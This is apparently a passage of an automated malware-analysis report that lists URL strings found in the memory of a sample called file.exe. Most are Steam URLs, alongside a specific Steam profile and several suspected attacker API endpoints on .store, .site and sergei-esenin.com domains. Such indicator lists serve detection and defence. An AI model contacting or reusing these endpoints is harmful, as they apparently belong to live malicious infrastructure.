Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic
Source: file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/apii
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.s
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=9yzMGndrVfY4&l=e
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1&amp
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dissapoiznw.store:443/api
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/apibcryptPrimitives.dll
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001645000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702793465.0000000001645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apij
Source: file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/j
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/api
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702793465.0000000001645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.1701746610.0000000001645000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702793465.0000000001645000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900y
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f
Source: file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
